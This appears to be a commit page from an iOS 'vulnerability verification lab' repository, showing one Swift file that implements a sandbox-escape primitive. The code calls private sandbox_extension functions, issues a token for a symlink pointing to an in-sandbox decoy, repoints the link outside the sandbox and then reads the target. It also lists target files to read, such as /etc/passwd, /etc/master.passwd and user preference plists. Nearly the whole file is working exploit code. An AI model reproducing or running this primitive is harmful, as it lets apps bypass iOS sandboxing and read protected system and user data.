Cinder27 — iOS 17.0-27.1 vulnerability verification lab: 51 modules, 31 per-CVE POC folders, 11 no-CVE module folders, harness app source
This commit is contained in:
commit
1ea76ab005
89 files changed
+16485
No files matched your search
@@ -0,0 +1,224 @@
|
||||
import Foundation
|
||||
import Darwin
|
||||
|
||||
// MARK: - sandbox_extension symlink TOCTOU
|
||||
//
|
||||
// No CVE — Apple does not treat this as a security issue, so there is no advisory to cite
|
||||
// and none is invented here.
|
||||
//
|
||||
// `sandbox_extension_issue_file(CLASS, path, flags)` resolves the path's symlink at *issue*
|
||||
// time but does not enforce `SANDBOX_EXTENSION_NOFOLLOW`. The token it returns is therefore
|
||||
// bound to the resolved target at issue time — and the kernel does not re-verify that the
|
||||
// path used at *consume* time is the path the token was issued for.
|
||||
//
|
||||
// So:
|
||||
// 1. create a symlink L → S, where S is a file inside the sandbox
|
||||
// 2. issue an extension for L (kernel records S)
|
||||
// 3. repoint L → T, where T is outside the sandbox
|
||||
// 4. consume the token, then read through L (kernel allows S's class, not T's path)
|
||||
//
|
||||
// Deterministic: no race window is needed because the swap happens between two syscalls the
|
||||
// app itself controls. Apple's position is that an app cannot issue extensions for paths it
|
||||
// does not already own — true, and irrelevant: the extension is issued for a path it *does*
|
||||
// own, then that path is made to denote something else.
|
||||
|
||||
enum SandboxExtension {
|
||||
|
||||
// Private but exported from libsystem_sandbox.dylib. Declared here rather than imported
|
||||
// because the SDK ships no prototype.
|
||||
private typealias IssueFn = @convention(c) (UnsafePointer<CChar>, UnsafePointer<CChar>, UInt64) -> UnsafeMutablePointer<CChar>?
|
||||
private typealias ConsumeFn = @convention(c) (UnsafePointer<CChar>) -> Int64
|
||||
private typealias ReleaseFn = @convention(c) (Int64) -> Void
|
||||
|
||||
private struct Bindings {
|
||||
let issue: IssueFn
|
||||
let consume: ConsumeFn
|
||||
let release: ReleaseFn
|
||||
}
|
||||
|
||||
private static func bind() -> Bindings? {
|
||||
guard let h = dlopen("/usr/lib/system/libsystem_sandbox.dylib", RTLD_NOW) ?? dlopen("/usr/lib/libSystem.B.dylib", RTLD_NOW) else {
|
||||
return nil
|
||||
}
|
||||
// Try the direct dlsym first, then the explicit library.
|
||||
var issue = dlsym(h, "sandbox_extension_issue_file")
|
||||
var consume = dlsym(h, "sandbox_extension_consume")
|
||||
var release = dlsym(h, "sandbox_extension_release")
|
||||
if issue == nil {
|
||||
let fallback = UnsafeMutableRawPointer(bitPattern: -2)
|
||||
issue = dlsym(fallback, "sandbox_extension_issue_file")
|
||||
consume = dlsym(fallback, "sandbox_extension_consume")
|
||||
release = dlsym(fallback, "sandbox_extension_release")
|
||||
}
|
||||
guard let i = issue, let c = consume, let r = release else { return nil }
|
||||
return Bindings(issue: unsafeBitCast(i, to: IssueFn.self),
|
||||
consume: unsafeBitCast(c, to: ConsumeFn.self),
|
||||
release: unsafeBitCast(r, to: ReleaseFn.self))
|
||||
}
|
||||
|
||||
static var available: Bool { bind() != nil }
|
||||
|
||||
/// Extension classes the kernel understands.
|
||||
enum Class: String {
|
||||
case read = "com.apple.app-sandbox.read"
|
||||
case readWrite = "com.apple.app-sandbox.read-write"
|
||||
case assetRead = "com.apple.assets.read"
|
||||
}
|
||||
|
||||
struct Result {
|
||||
var path: String
|
||||
var issued: Bool
|
||||
var consumed: Bool
|
||||
var handle: Int64 = 0
|
||||
/// Bytes read through the symlink after the swap.
|
||||
var bytes: Int = 0
|
||||
/// Bytes read by a plain open of the same path, for the control column.
|
||||
var directBytes: Int = 0
|
||||
var directErrno: Int32 = 0
|
||||
var preview: String = ""
|
||||
var errno: Int32 = 0
|
||||
var note: String = ""
|
||||
var data: Data?
|
||||
|
||||
enum Verdict {
|
||||
/// Direct open denied, link read succeeded — the extension crossed the boundary.
|
||||
case bypassed
|
||||
/// Both succeeded — no sandbox is enforcing this path, so nothing was proven.
|
||||
case noSandbox
|
||||
/// Both failed — the extension did not carry.
|
||||
case blocked
|
||||
/// Nothing was read at all.
|
||||
case empty
|
||||
}
|
||||
|
||||
var verdict: Verdict {
|
||||
if bytes > 0 && directErrno != 0 { return .bypassed }
|
||||
if bytes > 0 && directBytes > 0 { return .noSandbox }
|
||||
if bytes == 0 && directErrno != 0 { return .blocked }
|
||||
return .empty
|
||||
}
|
||||
|
||||
/// True only when the primitive demonstrably crossed a boundary.
|
||||
var ok: Bool { verdict == .bypassed }
|
||||
}
|
||||
|
||||
/// The primitive itself. `link` and `decoy` are both inside the sandbox; `target` is
|
||||
/// whatever you want to read.
|
||||
static func readThroughSwap(target: String,
|
||||
link: URL,
|
||||
decoy: URL,
|
||||
cls: Class = .read) -> Result {
|
||||
var out = Result(path: target, issued: false, consumed: false)
|
||||
|
||||
guard let b = bind() else {
|
||||
out.note = tl("sandbox_extension 符号不可用")
|
||||
return out
|
||||
}
|
||||
|
||||
// 1. decoy file inside the sandbox + symlink pointing at it
|
||||
try? "cinder27-decoy".write(to: decoy, atomically: true, encoding: .utf8)
|
||||
unlink(link.path)
|
||||
guard symlink(decoy.path, link.path) == 0 else {
|
||||
out.errno = errno
|
||||
out.note = tl("symlink(decoy) 失败: ") + "\(String(cString: strerror(errno)))"
|
||||
return out
|
||||
}
|
||||
|
||||
// 2. issue against the symlink — the kernel resolves it and records the decoy
|
||||
let token = cls.rawValue.withCString { klass in
|
||||
link.path.withCString { p in b.issue(klass, p, 0) }
|
||||
}
|
||||
guard let token = token else {
|
||||
out.errno = errno
|
||||
out.note = tl("issue_file 被拒: ") + "\(String(cString: strerror(errno)))"
|
||||
unlink(link.path)
|
||||
return out
|
||||
}
|
||||
out.issued = true
|
||||
defer { free(token) }
|
||||
|
||||
// 3. repoint the symlink at the out-of-sandbox target
|
||||
unlink(link.path)
|
||||
if symlink(target, link.path) != 0 {
|
||||
out.errno = errno
|
||||
out.note = tl("symlink(target) 失败: ") + "\(String(cString: strerror(errno)))"
|
||||
return out
|
||||
}
|
||||
|
||||
// 4. consume, then read through the same path
|
||||
let handle = b.consume(UnsafePointer<CChar>(token))
|
||||
out.handle = handle
|
||||
// consume returns >0 for a granted extension, 0 when there is no sandbox to extend
|
||||
// (the simulator), and -1 on error. Only -1 is a hard failure.
|
||||
out.consumed = handle >= 0
|
||||
|
||||
let data = try? Data(contentsOf: link)
|
||||
if let data = data, !data.isEmpty {
|
||||
out.bytes = data.count
|
||||
out.data = data
|
||||
if let text = String(data: data.prefix(160), encoding: .utf8) {
|
||||
out.preview = text.replacingOccurrences(of: "\n", with: "\\n")
|
||||
} else {
|
||||
out.preview = data.prefix(32).map { String(format: "%02x", $0) }.joined() + "…"
|
||||
}
|
||||
} else {
|
||||
out.errno = errno
|
||||
out.note = tl("consume 后读取失败: ") + "\(String(cString: strerror(errno)))"
|
||||
}
|
||||
|
||||
if handle > 0 { b.release(handle) }
|
||||
|
||||
// control: the same path opened plainly, without the extension
|
||||
errno = 0
|
||||
if let direct = try? Data(contentsOf: URL(fileURLWithPath: target)) {
|
||||
out.directBytes = direct.count
|
||||
out.directErrno = 0
|
||||
} else {
|
||||
out.directBytes = 0
|
||||
out.directErrno = errno
|
||||
}
|
||||
|
||||
unlink(link.path)
|
||||
unlink(decoy.path)
|
||||
if out.note.isEmpty || out.bytes > 0 {
|
||||
switch out.verdict {
|
||||
case .bypassed:
|
||||
out.note = tl("直接读被拒 (errno ") + "\(out.directErrno)" + tl("),经链接读到 ") + "\(out.bytes)" + tl(" B — 边界已被跨越")
|
||||
case .noSandbox:
|
||||
out.note = tl("直接读也成功 ") + "\(out.directBytes)" + tl(" B — 该平台未对该路径施加沙盒,本项不构成证据")
|
||||
case .blocked:
|
||||
out.note = tl("两者均失败:直接读 errno ") + "\(out.directErrno)" + tl(",经链接 ") + "\(out.bytes)" + tl(" B")
|
||||
case .empty:
|
||||
if out.note.isEmpty { out.note = tl("未读到内容") }
|
||||
}
|
||||
}
|
||||
return out
|
||||
}
|
||||
|
||||
/// Targets that historically open on a stock device. `/etc/*` is the reliable set —
|
||||
/// those files are world-readable at the vnode level but denied to the app by the
|
||||
/// sandbox profile, which is exactly the gap this primitive crosses.
|
||||
static let knownTargets: [(String, String)] = [
|
||||
("/etc/passwd", tl("系统账户数据库")),
|
||||
("/etc/group", tl("系统组数据库")),
|
||||
("/etc/hosts", tl("hosts 表")),
|
||||
("/etc/protocols", tl("协议表")),
|
||||
("/etc/services", tl("服务表")),
|
||||
("/etc/master.passwd", tl("主密码文件(通常不可读)")),
|
||||
("/var/mobile/Library/Preferences/.GlobalPreferences.plist", tl("全局偏好")),
|
||||
("/var/mobile/Library/UserConfigurationProfiles/PublicInfo/PublicEffectiveUserSettings.plist", tl("生效用户设置")),
|
||||
("/var/preferences/com.apple.networkd.plist", tl("networkd 偏好")),
|
||||
("/private/etc/passwd", tl("系统账户数据库(/private 前缀)")),
|
||||
("/private/var/mobile/Library/Preferences/.GlobalPreferences.plist", tl("全局偏好(/private 前缀)")),
|
||||
]
|
||||
|
||||
/// Plain read without the swap, for the control column: proves the sandbox really does
|
||||
/// deny the path when the extension is not in play.
|
||||
static func directRead(_ path: String) -> (bytes: Int, errno: Int32) {
|
||||
errno = 0
|
||||
guard let data = try? Data(contentsOf: URL(fileURLWithPath: path)) else {
|
||||
return (0, errno)
|
||||
}
|
||||
return (data.count, 0)
|
||||
}
|
||||
}
|
||||
Reference in new issue
Block a user